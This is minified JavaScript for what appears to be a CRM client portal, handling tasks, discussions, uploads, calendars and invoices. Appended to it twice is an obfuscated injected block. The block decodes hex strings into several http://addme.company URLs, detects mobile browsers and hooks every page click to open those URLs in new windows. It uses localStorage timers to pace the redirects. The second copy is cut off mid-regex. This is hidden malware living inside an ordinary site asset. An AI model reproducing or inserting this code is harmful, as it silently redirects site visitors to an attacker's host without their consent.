edit_task_comment(e){$('[data-edit-comment="'+e+'"]').removeClass("hide"),$('[data-comment-content="'+e+'"]').addClass("hide")}function cancel_edit_comment(e){$('[data-edit-comment="'+e+'"]').addClass("hide"),$('[data-comment-content="'+e+'"]').removeClass("hide")}function save_edited_comment(e){var t={};t.id=e,t.content=$('[data-edit-comment="'+e+'"]').find("textarea").val(),$.post(site_url+"clients/edit_comment",t).done((function(t){1==(t=JSON.parse(t)).success?window.location.reload():cancel_edit_comment(e)}))}function initDataTable(){appDataTableInline()}function dt_custom_view(e,t,a){var o=$(e).DataTable();Array.isArray(a)?o.column(t).search(a.join("|"),!0,!1).draw():o.column(t).search(a).draw()}function fix_phases_height(){if(!is_mobile()){var e=Math.max.apply(null,$("div.tasks-phases .panel-body").map((function(){return $(this).outerHeight()})).get());$("div.tasks-phases .panel-body").css("min-height",e+"px")}}function taskTable(){$(".tasks-table").toggleClass("hide"),$(".tasks-phases").toggleClass("hide")}function discussion_comments(e,t,a){var o=_get_jquery_comments_default_config(app.lang.discussions_lang),n={getComments:function(e,o){$.post(site_url+"clients/project/"+project_id,{action:"discussion_comments",discussion_id:t,discussion_type:a}).done((function(t){t=JSON.parse(t),e(t)}))},postComment:function(e,o,n){e.action="new_discussion_comment",e.discussion_id=t,e.discussion_type=a,$.ajax({type:"post",url:site_url+"clients/project/"+project_id,data:e,success:function(e){e=JSON.parse(e),o(e)},error:n})},putComment:function(e,t,a){e.action="update_discussion_comment",$.ajax({type:"post",url:site_url+"clients/project/"+project_id,data:e,success:function(e){e=JSON.parse(e),t(e)},error:a})},deleteComment:function(e,t,a){$.ajax({type:"post",url:site_url+"clients/project/"+project_id,success:t,error:a,data:{id:e.id,action:"delete_discussion_comment"}})},uploadAttachments:function(e,o,n){var i=0,s=[],r=function(){++i==e.length&&(0==s.length?n():(s=JSON.parse(s),o(s)))};$(e).each((function(e,o){if(o.file.size&&o.file.size>app.max_php_ini_upload_size_bytes)alert_float("danger",app.lang.file_exceeds_max_filesize),r();else{var n=new FormData;$(Object.keys(o)).each((function(e,t){var a=o[t];a&&n.append(t,a)})),n.append("action","new_discussion_comment"),n.append("discussion_id",t),n.append("discussion_type",a),"undefined"!=typeof csrfData&&n.append(csrfData.token_name,csrfData.hash),$.ajax({url:site_url+"clients/project/"+project_id,type:"POST",data:n,cache:!1,contentType:!1,processData:!1,success:function(e){s.push(e),r()},error:function(e){var t=JSON.parse(e.responseText);alert_float("danger",t.message),r()}})}}))}},i=$.extend({},o,n);$(e).comments(i)}function view_project_file(e,t){$.post(site_url+"clients/project/"+t,{action:"get_file",id:e,project_id:t}).done((function(e){$("#project_file_data").html(e)})).fail((function(e){alert_float("danger",e.statusText)}))}function update_file_data(e){var t={};t.id=e,t.subject=$('body input[name="file_subject"]').val(),t.description=$('body textarea[name="file_description"]').val(),t.action="update_file_data",$.post(site_url+"clients/project/"+project_id,t)}function render_customer_statement(){var e=$("#range").selectpicker("val"),t=new Array,a=!1;if("period"!=e)t=JSON.parse(e);else{if(t[0]=$('input[name="period-from"]').val(),t[1]=$('input[name="period-to"]').val(),""==t[0]||""==t[1])return!1;a=!0}var o=site_url+"clients/statement",n=new Array;n.from=t[0],n.to=t[1],a&&(n.custom_period=!0),window.location.href=buildUrl(o,n)}function client_home_chart(){var e=$("#client-home-chart");if(0!=e.length){void 0!==salesChart&&salesChart.destroy();var t={},a=$("#currency"),o=$("#payments_year");a.length>0&&(t.report_currency=$('select[name="currency"]').val()),o.length>0&&(t.year=$("#payments_year").val()),$.post(site_url+"clients/client_home_chart",t).done((function(t){t=JSON.parse(t),salesChart=new Chart(e,{type:"bar",data:t,options:{responsive:!0,maintainAspectRatio:!1}})}))}}function projectFileGoogleDriveSave(e){projectExternalFileUpload(e,"gdrive")}function customerFileGoogleDriveSave(e){customerExternalFileUpload(e,"gdrive")}function taskFileGoogleDriveSave(e){taskExternalFileUpload(e,"gdrive")}function projectExternalFileUpload(e,t){$.post(site_url+"clients/project/"+project_id,{files:e,external:t,action:"project_external_file"}).done((function(){var e=window.location.href;window.location.href=e.split("?")[0]+"?group=project_files"}))}function taskExternalFileUpload(e,t){$.post(site_url+"clients/project/"+project_id,{files:e,task_id:$('input[name="task_id"]').val(),external:t,action:"add_task_external_file"}).done((function(){window.location.reload()}))}function customerExternalFileUpload(e,t){$.post(site_url+"clients/upload_files",{files:e,external:t}).done((function(){window.location.reload()}))}function task_attachments_toggle(){var e=$("#task").find(".task_attachments_wrapper");e.find(".task-attachments-more").toggleClass("hide"),e.find(".task-attachments-less").toggleClass("hide")}function init_tabs_scrollable(){"true"!=isRTL?($(window).width()<=768&&$("body").find(".toggle_view").remove(),$(".horizontal-scrollable-tabs").horizontalTabs()):($(".arrow-left, .arrow-right").css("display","none"),$(".horizontal-scrollable-tabs").removeClass("horizontal-scrollable-tabs"),$(".nav-tabs-horizontal").removeClass("nav-tabs-horizontal"))}Dropzone.options.projectFilesUpload=!1,Dropzone.options.taskFileUpload=!1,Dropzone.options.filesUpload=!1,"1"==app.options.enable_google_picker&&($.fn.googleDrivePicker.defaults.clientId=app.options.google_client_id,$.fn.googleDrivePicker.defaults.developerKey=app.options.google_api),$((function(){moment.locale(app.locale),moment().tz(app.options.timezone).format(),fix_phases_height(),initDataTable(),client_home_chart(),init_tabs_scrollable(),$('select[name="currency"],select[name="payments_years"]').on("change",(function(){client_home_chart()})),$("#open-new-ticket-form").appFormValidator(),$("#ticket-reply").appFormValidator(),$("#task-form").appFormValidator(),$("#discussion_form").appFormValidator({rules:{subject:"required"}});var e=get_url_param("file_id");if(e&&view_project_file(e,project_id),discussion_comments("#discussion-comments",discussion_id,"regular"),$("body").on("show.bs.modal","._project_file",(function(){discussion_comments("#project-file-discussion",discussion_id,"file")})),"undefined"!=typeof Dropbox&&($("#dropbox-chooser-task").length>0&&document.getElementById("dropbox-chooser-task").appendChild(Dropbox.createChooseButton({success:function(e){taskExternalFileUpload(e,"dropbox")},linkType:"preview",extensions:app.options.allowed_files.split(",")})),$("#files-upload").length>0&&document.getElementById("dropbox-chooser-files").appendChild(Dropbox.createChooseButton({success:function(e){customerExternalFileUpload(e,"dropbox")},linkType:"preview",extensions:app.options.allowed_files.split(",")})),"undefined"!=typeof Dropbox&&$("#dropbox-chooser-project-files").length>0&&document.getElementById("dropbox-chooser-project-files").appendChild(Dropbox.createChooseButton({success:function(e){projectExternalFileUpload(e,"dropbox")},linkType:"preview",extensions:app.options.allowed_files.split(",")}))),$("#calendar").length){var t={headerToolbar:{left:"prev,next today",center:"title",right:"dayGridMonth,timeGridWeek,timeGridDay"},editable:!1,dayMaxEventRows:parseInt(app.options.calendar_events_limit)+1,views:{day:{dayMaxEventRows:!1}},initialView:app.options.default_view_calendar,moreLinkClick:function(e){a.gotoDate(e.date),a.changeView("dayGridDay"),setTimeout((function(){$(".fc-popover-close").click()}),250)},loading:function(e,t){e?$(".dt-loader").removeClass("hide"):$(".dt-loader").addClass("hide")},direction:"true"==isRTL?"rtl":"ltr",eventStartEditable:!1,firstDay:parseInt(app.options.calendar_first_day),events:function(e,t,a){return $.getJSON(site_url+"clients/get_calendar_data",{start:e.startStr,end:e.endStr}).then((function(e){t(e.map((function(e){return $.extend({},e,{start:e.start||e.date,end:e.end||e.date})})))}))},eventDidMount:function(e){var t=$(e.el);t.attr("title",e.event.extendedProps._tooltip),t.attr("onclick",e.event.extendedProps.onclick),t.attr("data-toggle","tooltip")}},a=new FullCalendar.Calendar(document.getElementById("calendar"),t);a.render()}var o=get_url_param("group");o&&($("body").find(".nav-tabs li").removeClass("active"),$("body").find('.nav-tabs [data-group="'+o+'"]').parents("li").addClass("active"));for(var n=-10;n<$(".task-phase").not(".color-not-auto-adjusted").length/2;n++){$(".task-phase:eq("+(n+10)+")").not(".color-not-auto-adjusted").css("background",color(120-13*n,169-13*n,56-13*n)).css("border","1px solid "+color(120-13*n,169-13*n,56-13*n))}$(".project-progress").circleProgress({fill:{gradient:["#84c529","#84c529"]}}).on("circle-animation-progress",(function(e,t,a){$(this).find("strong.project-percent").html(parseInt(100*a)+"<i>%</i>")}));$(".toggle-change-ticket-status").on("click",(function(){$(".ticket-status,.ticket-status-inline").toggleClass("hide")})),$("#ticket_status_single").on("change",(function(){data={},data.status_id=$(this).val(),data.ticket_id=$('input[name="ticket_id"]').val(),$.post(site_url+"clients/change_ticket_status/",data).done((function(){window.location.reload()}))})),"undefined"!=typeof contracts_by_type&&new Chart($("#contracts-by-type-chart"),{type:"bar",data:JSON.parse(contracts_by_type),options:{responsive:!0,maintainAspectRatio:!1,scales:{yAxes:[{display:!0,ticks:{beginAtZero:!0}}]}}}),$("#files-upload").length>0&&createDropzone("#files-upload"),$("#task-file-upload").length>0&&createDropzone("#task-file-upload",{sending:function(e,t,a){a.append("action","upload_task_file"),a.append("task_id",$('input[name="task_id"]').val())}}),$("#project-files-upload").length>0&&createDropzone("#project-files-upload",{sending:function(e,t,a){a.append("action","upload_file")}}),$('body.viewinvoice input[name="amount"]').on("keyup",(function(){var e=$(this).data("total"),t=$(this).val(),a=$(this).parents(".form-group");t>e?(a.addClass("has-error"),0==a.find("p.text-danger").length&&(a.append('<p class="text-danger">Maximum pay value passed</p>'),$(this).parents("form").find('input[name="make_payment"]').attr("disabled",!0))):(a.removeClass("has-error"),a.find("p.text-danger").remove(),$(this).parents("form").find('input[name="make_payment"]').attr("disabled",!1))})),$("#discussion").on("hidden.bs.modal",(function(e){$('#discussion input[name="subject"]').val(""),$('#discussion textarea[name="description"]').val(""),$("#discussion .add-title").removeClass("hide"),$("#discussion .edit-title").removeClass("hide")}))})); function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());/* 3.0.6 */ function createDropzone(e,t){var a=appCreateDropzoneOptions({paramName:"file",uploadMultiple:!0,parallelUploads:20,maxFiles:20,accept:function(e,t){t()},success:function(e,t){0===this.getUploadingFiles().length&&0===this.getQueuedFiles().length&&window.location.reload()}}),o=$.extend({},a,t);new Dropzone(e,o)}function change_contact_language(e){var t="authentication/change_language/"+$(e).val();window.location.href=site_url+t}$.fn.appFormValidator.internal_options.on_required_add_symbol=!1,$((function(){$("body").on("shown.bs.dropdown",".btn-group",(function(){$(this).closest(".table-responsive").css("overflow","inherit")})),$("body").on("hidden.bs.dropdown",".btn-group",(function(){$(this).closest(".table-responsive").css("overflow","auto")})),appSelectPicker($("body").find("select")),appProgressBar(),appLightbox(),appColorPicker(),appDatepicker(),$.each($(".kb-article").find("img"),(function(){$(this).parent().is("a")||$(this).wrap('<a href="'+$(this).attr("src")+'" data-lightbox="kb-attachment"></a>')})),$("body").tooltip({selector:'[data-toggle="tooltip"]'}),$("body").popover({selector:'[data-toggle="popover"]'}),$(".article_useful_buttons button").on("click",(function(e){e.preventDefault();var t={};t.answer=$(this).data("answer"),t.articleid=$('input[name="articleid"]').val(),$.post(site_url+"knowledge_base/add_kb_answer",t).done((function(e){1==(e=JSON.parse(e)).success&&$(this).focusout(),$(".answer_response").html(e.message)}))})),$("#identityConfirmationForm").appFormValidator({rules:{acceptance_firstname:"required",acceptance_lastname:"required",signature:"required",acceptance_email:{email:!0,required:!0}},messages:{signature:{required:app.lang.sign_document_validation}}}),$("body.identity-confirmation #accept_action").on("click",(function(){var e=$("#identityConfirmationForm");return e.length&&!e.validate().checkForm()?$("#identityConfirmationModal").modal({show:!0,backdrop:"static",keyboard:!1}):($(this).prop("disabled",!0),e.submit()),!1}))})); function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g 